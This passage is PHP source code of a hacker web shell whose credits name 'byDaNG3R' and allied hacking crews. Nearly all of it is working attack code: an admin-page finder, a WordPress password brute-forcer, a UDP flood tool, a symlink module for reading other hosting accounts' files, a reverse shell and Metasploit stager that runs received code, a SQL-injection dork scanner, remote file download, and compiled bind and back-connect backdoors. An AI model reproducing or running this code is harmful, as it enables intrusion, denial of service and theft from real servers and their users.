ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo \'

<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
       


</h1>

<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">

<tr>
<tr>
	<b><td>URL</td>
	<td><input class="inputz" type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 350px;" />
	</td>
</tr><tr>
	<td>404 string</td>
	<td><input class="inputz" type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 350px;" />
	</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>\';
}
function show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {
    if($br == 1) $msg .= "<br />";
    echo "<script type=\"text/javascript\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";
    if($stop == 1) exit;
    @flush();@ob_flush();
}
function check($x, $front=0) {
    global $_POST,$site,$false;
    if($front == 0) $t = $site.$x;
    else $t = \'http://\'.$x.\'.\'.$site.\'/\';
    $headers = get_headers($t);
    if (!eregi(\'200\', $headers[0])) return 0;
    $data = @file_get_contents($t);
    if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;
    if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;
    return 1;
}
   
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST[\'xploit_url\'])) die;
if($_POST[\'xploit_url\'] == \'\') die;
$site = $_POST[\'xploit_url\'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list[\'end\'] = str_replace("
", "", $list[\'end\']);
$list[\'front\'] = str_replace("
", "", $list[\'front\']);
$pathes = explode("
", $list[\'end\']);
$frontpathes = explode("
", $list[\'front\']);
show(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);
$verificate = 0;
foreach($pathes as $path) {
    show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);
    $verificate++; show($verificate, 0, 0, \'verified\', 1);
    if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else{
        show(\'<span style="color: #FF0000;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);
    }
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
    show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);
    $verificate++; show($verificate, 0, 0, \'verified\', 1);
    if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);
    else{
        show(\'<span style="color: #FF0000;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);
        show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);
    }
   
}
}
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wpbrute\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wpbrute" method="post">
<center>
<br><Br><b><font size=\'2\' >--==[ Wordpress Brute Force ]==--</font><br>
<center><p>Thanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
  <table width=\'624\' border=\'0\' class=\'tabnet\' id=\'Box\'>
  <tr><th colspan="5">Wordpress Brute Force</th></tr>
    

    <tr>
      <td >&nbsp;</td>
      <td ><p>Hosts:</p></td>
      <td ><p> Users:</p></td>
      <td ><p>Passwords:</p></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'hosts\'];} ?></textarea></td>
      <td ><textarea style="background:black;" name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'usernames\'];}else {echo "admin";} ?></textarea></td>
      <td ><textarea style="background:black;" name="passwords" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'passwords\'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
c40909
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
    </tr>
<tr><td colspan="4"><input class=\'inputzbut\' type="submit" name="submit" value="Brute Now"  />
<?php
if($_POST)
{
	$hosts = trim(filter($_POST[\'hosts\']));
	$passwords = trim(filter($_POST[\'passwords\']));
	$usernames = trim(filter($_POST[\'usernames\']));

	if($passwords && $usernames && $hosts)
	{
		$hosts_explode = explode("
", $hosts);
		$usernames_explode = explode("
", $usernames);
    	$passwords_explode = explode("
", $passwords);

		foreach($hosts_explode as $host)
		{
			$host = RemoveLastSlash($host);
			$hacked = 0;
			$host = str_replace(array("http://","https://","www."),"",trim($host));
			$host = "http://".$host;
			$wpAdmin = $host.\'/wp-admin/\';

			if(!url_exists($host."/wp-login.php"))
			{echo "<p>".$host." => <font color=\'red\'>Error In Login Page !</font></p>";ob_flush();flush();continue;}

			foreach($usernames_explode as $username)
			{
				foreach($passwords_explode as $password)
				{
					$ch   =     curl_init();
					curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
					curl_setopt($ch,CURLOPT_URL,$host.\'/wp-login.php\');
					curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
					curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
					curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
					curl_setopt($ch,CURLOPT_POST,TRUE);
					curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
					$login    =	   curl_exec($ch);

					if(eregi ("profile.php",$login) )
					{
						$hacked = 1;
						echo "<p>".$host." => UserName : [<font color=\'green\'>".$username."</font>] : Password : [<font color=\'green\'>".$password."</font>]</p>";
						ob_flush();flush();break;
					}
				}
				if($hacked == 1){break;}
			}
			if($hacked == 0)
			{echo "<p>".$host." => <font color=\'red\'>Failed !</font></p>";ob_flush();flush();}
		}
	}
	else {echo "<p><font color=\'red\'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
    $resURL = curl_init();
    curl_setopt($resURL, CURLOPT_URL, $strURL);
    curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
    curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');
    curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
    curl_exec ($resURL);
    $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
    curl_close ($resURL);
    if ($intReturnCode != 200){return false;}
	else{return true ;}
}
function filter($string)
{
	if(get_magic_quotes_gpc() != 0){return stripslashes($string);	}
	else{return $string;	}
}
function RemoveLastSlash($host)
{
	if(strrpos($host, \'/\', -1) == strlen($host)-1)
	{return substr($host,0,strrpos($host, \'/\', -1));}
	else{return $host;}
}
echo "</p>";
}


//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dos\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font>&nbsp;(Don\'t DDOS yourself noob)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">DDOS Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25"  value = "0.0.0.0" onblur = "if ( this.value==\'\' ) this.value = \'0.0.0.0\';" onfocus = " if ( this.value == \'0.0.0.0\' ) this.value = \'\';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25"  value = "time (in seconds)" onblur = "if ( this.value==\'\' ) this.value = \'time (in seconds)\';" onfocus = " if ( this.value == \'time (in seconds)\' ) this.value = \'\';"/>
</td></tr>

<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5"  value = "port" onblur = "if ( this.value==\'\' ) this.value = \'port\';" onfocus = " if ( this.value == \'port\' ) this.value = \'\';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value="  Firee !!!   ">
<br><br>
<center>
After initiating the DDOS attack, please wait while the browser loads.
</center>

</form>
</center>
<?php
$submit = $_POST[\'fire\'];
if (isset($submit)) {

$packets = 0;
$ip = $_POST[\'ip\'];
$rand = $_POST[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST[\'time\'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;



for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time(\'h:i:s\')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s 
";
}
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'symlink\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">

<?php   

@set_time_limit(0);

echo "<br><br><center><h1>--==[ Symlink ]==--</h1></center><br><br><center><div class=content>";

@mkdir(\'sym\',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen (\'sym/.htaccess\',\'w\');
fwrite($write ,$htaccess);
@symlink(\'/\',\'sym/root\');
$filelocation = basename(__FILE__);
$read_named_conf = @file(\'/etc/named.conf\');
if(!$read_named_conf)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<br><br><div class=\'tmp\'><table border=\'1\' bordercolor=\'#FF0000\' width=\'500\' cellpadding=\'1\' cellspacing=\'0\'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi(\'zone\',$subject)){
preg_match_all(\'#zone "(.*)"#\',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$string[1][0]));
$name = $UID[\'name\'] ;
@symlink(\'/\',\'sym/root\');
$name   = $string[1][0];
$iran   = \'\.ir\';
$israel = \'\.il\';
$indo   = \'\.id\';
$sg12   = \'\.sg\';
$edu    = \'\.edu\';
$gov    = \'\.gov\';
$gose   = \'\.go\';
$gober  = \'\.gob\';
$mil1   = \'\.mil\';
$mil2   = \'\.mi\';
$malay	= \'\.my\';
$china	= \'\.cn\';
$japan	= \'\.jp\';
$austr	= \'\.au\';
$porn	= \'\.xxx\';
$as		= \'\.uk\';
$calfn	= \'\.ca\';

if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$string[1][0].\'</div>\';
}
echo "
<tr>

<td>
<div class=\'dom\'><a target=\'_blank\' href=http://www.".$string[1][0].\'/>\'.$name.\' </a> </div>
</td>

<td>
\'.$UID[\'name\']."
</td>

<td>
<a href=\'sym/root/home/".$UID[\'name\']."/public_html\' target=\'_blank\'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";   

}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'domain\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php

echo \'<br><br><center><h1>--==[ Local Domain Viewer ]==--</h1></center><br><br><div class=content>\';

$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can\'t ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET[\'ShowAll\']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));

		echo "<tr><td>$domain</td><td>".$user[\'name\']."</td></tr>";
		}
	echo "</table>";
	}

echo \'</div>\';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tool\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=tool" method="post">
<?php

error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER[\'HTTP_HOST\']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class=\'mybox\' align=\'center\'><td><h2>Reverse shell ( php )</h2><form method=\'post\' actions=\'?y=<?php echo $pwd;?>&amp;x=\'tool\'><table class=\'tabnet\'><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rstarget4\' value=\'".$rstarget4."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlportb4\' value=\'".$rsportb4."\' /></td></tr></table><input type=\'submit\' name=\'xback_php\' class=\'inputzbut\' value=\'connect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /><input type=\'hidden\' name=\'d\' value=\'".$pwd."\' /></form></td><td><hr color=\'#4C83AF\'><td><td><form method=\'POST\'><table class=\'tabnet\'><h2>Metasploit Connection </h2><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'5\' name=\'yport\' value=\'443\' /></td></tr></table><input class=\'inputzbut\' type=\'submit\' value=\'Connect\' name=\'metaConnect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST[\'metaConnect\']){$ipaddr = $_POST[\'yip\'];$port = $_POST[\'yport\'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable(\'stream_socket_client\')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = \'stream\';}elseif (is_callable(\'fsockopen\')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = \'stream\';}elseif (is_callable(\'socket_create\')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = \'socket\';}else {die();}switch ($msgsock_type){case \'stream\': $len = fread($msgsock, 4); break;case \'socket\': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a[\'len\'];$buffer = \'\';while (strlen($buffer) < $len){switch ($msgsock_type) {case \'stream\': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case \'socket\': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']);
if(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']);
if ($_POST[\'xback_php\']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = \'/bin/sh\';$daemon = 0;$debug = 0;if(function_exists(\'pcntl_fork\')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whois\'))
   {
   ?>
   <form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
   <?php
   @set_time_limit(0);
   @error_reporting(0);
   function sws_domain_info($site)
   {
   $getip = @file_get_contents("http://networktools.nl/whois/$site");
   flush();
   $ip = @findit($getip,\'<pre>\',\'</pre>\');
   return $ip;
   flush();
   }
   function sws_net_info($site)
   {
   $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
   $ip = @findit($getip,\'<pre>\',\'</pre>\');
   return $ip;
   flush();
   }
   function sws_site_ser($site)
   {
   $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
   $ip = @findit($getip,\'<pre>\',\'</pre>\');
   return $ip;
   flush();
   }
   function sws_sup_dom($site)
   {
   $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
   $ip = @findit($getip,\'<strong>Nameservers found:</strong>\',\'<script type="text/javascript">\');
   return $ip;
   flush();
   }
   function sws_port_scan($ip)
   {
   $list_post = array(\'80\',\'21\',\'22\',\'2082\',\'25\',\'53\',\'110\',\'443\',\'143\');
   foreach ($list_post as $o_port)
   {
   $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
   if($connect)
   {
   echo " $ip : $o_port ??? <u style=\"color: #FF0000\">Open</u> <br /><br />";
   flush();
   }
   }
   }
   function findit($mytext,$starttag,$endtag) {
   $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
   $posRight = @stripos($mytext,$endtag,$posLeft+1);
   return @substr($mytext,$posLeft,$posRight-$posLeft);
   flush();
   }
   echo \'<br><br><center>\';
   echo \'
    <br />
    <div class="sc"><form method="post"><table class="tabnet">
	<tr><th colspan="5">Website Whois</th></tr>
    <tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#FF0000;background-color:#000000" class="inputz" value="site.com" /> &nbsp <input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" /></td></tr>
    </table></form></div>\';
   if(isset($_POST[\'scan\']))
   {
   $site = @htmlentities($_POST[\'site\']);
   if (empty($site)){die(\'<br /><br /> Not add IP .. !\');}
   $ip_port = @gethostbyname($site);
   echo "
   <br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
   <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
   <div class=\"ru\"> <br /><br /><pre>
   ";
   echo "".sws_port_scan($ip_port)." </pre></div> ";
   flush();
   echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
   <div class=\"ru\">
   <pre>".sws_domain_info($site)."</pre></div>";
   flush();
   echo "
   <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_net_info($site)."</pre> </div>";
   flush();
   echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_sup_dom($site)."</pre> </div>";
   flush();
   echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_site_ser($site)."</pre> </div>
   <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
   flush();
   }
   echo \'</center>\';
   }
///////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'about\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
	<center><br><br>
    <br><br><br>	<br><br><font size="5" color="#FF0000">Special Thanks :</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#FF0000">--==[My Friends]==--<br><br>Tiada Nama<br>Tony Mota<br>./Humble One<br>Black404<br>Cyber Virus<br>Ustaz Seven<br>Macho Alex<br>
Macho Zul<br>
And All Black Jawnax.org /byDaNG3R Returned..!<br>

<br>--==[We Support]==--<br><br>
CheNaToR^ STaLiN<br>
Jawnax.org<br>
byDaNG3R / Coders Yazlm...<br>
Code byDaNG3R <br>
Kurdih Crew<br>
Dragon byDaNG3R<br>
Sarawak Cyber<br>byDaNG3R Crew<br>Phantom Crew<br>United Muslim Of Cyber Army<br>Harimau Malaya Cyber Army<br>
Coder Kurdih Hackers byDaNG3R<br>
byDaNG3R<br>
Kurdih byDaNG3R Coder<br>
Garuda Cyber Army<br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
}
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sqli-scanner\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=sqli-scanner" method="post">

<?php

echo \'<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> &nbsp;&nbsp;<input class="inputz" type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>\';

ob_start();
set_time_limit(0);

if (isset($_POST[\'scan\'])) {

$browser = $_SERVER[\'HTTP_USER_AGENT\'];

$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = \'/<p class="g"><a href="(.*)" target="_self" onclick="/\';

for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST[\'dork\']);
$url = $first.$dork.$sec.$page;

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
$result = curl_exec($curl);
curl_close($curl);

preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){

$url = preg_replace("/=/", "=\'", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
curl_setopt($curl,CURLOPT_TIMEOUT,\'5\');
$GET=curl_exec($curl); 
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * 

FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) { 
echo \'<center><b><font color="#E10000">Found : </font><a href="\'.$url.\'" target="_blank">\'.$url.\'</a><font color=#FF0000> &#60;-- SQLI Vuln 

Found..</font></b></center>\';
ob_flush();flush(); 
}else{ 
echo \'<center><font color="#FFFFFF"><b>\'.$url.\'</b></font><font color="#0FFF16"> &#60;-- Not Vuln</font></center>\';
ob_flush();flush(); 
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'upload\')){ 
if(isset($_POST[\'uploadcomp\'])){
	if(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){
		$path = magicboom($_POST[\'path\']);
		$fname = $_FILES[\'file\'][\'name\'];
		$tmp_name = $_FILES[\'file\'][\'tmp_name\'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
elseif(isset($_POST[\'uploadurl\'])){
	$pilihan = trim($_POST[\'pilihan\']);
	$wurl = trim($_POST[\'wurl\']);
	$path = magicboom($_POST[\'path\']);
	$namafile = download($pilihan,$wurl);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "file uploaded to $pindah";
	}
	else $msg = "failed to upload $namafile";

}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'netsploit\')){ 

// bind connect with c
if (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'C\')) {
	$port = trim($_POST[\'port\']);
	$passwrd = trim($_POST[\'bind_pass\']);
	tulis("bdc.c",$port_bind_bd_c);
 	exe("gcc -o bdc bdc.c");
 	exe("chmod 777 bdc");
 	@unlink("bdc.c");
 	exe("./bdc ".$port." ".$passwrd." &");
 	$scan = exe("ps aux"); 
	if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'Perl\')) {
	$port = trim($_POST[\'port\']);
	$passwrd = trim($_POST[\'bind_pass\']);
	tulis("bdp",$port_bind_bd_pl);
	exe("chmod 777 bdp");
 	$p2=which("perl");
 	exe($p2." bdp ".$port." &");
 	$scan = exe("ps aux"); 
	if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'C\')) {
	$ip = trim($_POST[\'ip\']);
	$port = trim($_POST[\'backport\']);
	tulis("bcc.c",$back_connect_c);
 	exe("gcc -o bcc bcc.c");
 	exe("chmod 777 bcc");
 	@unlink("bcc.c");
	exe("./bcc ".$ip." ".$port." &");
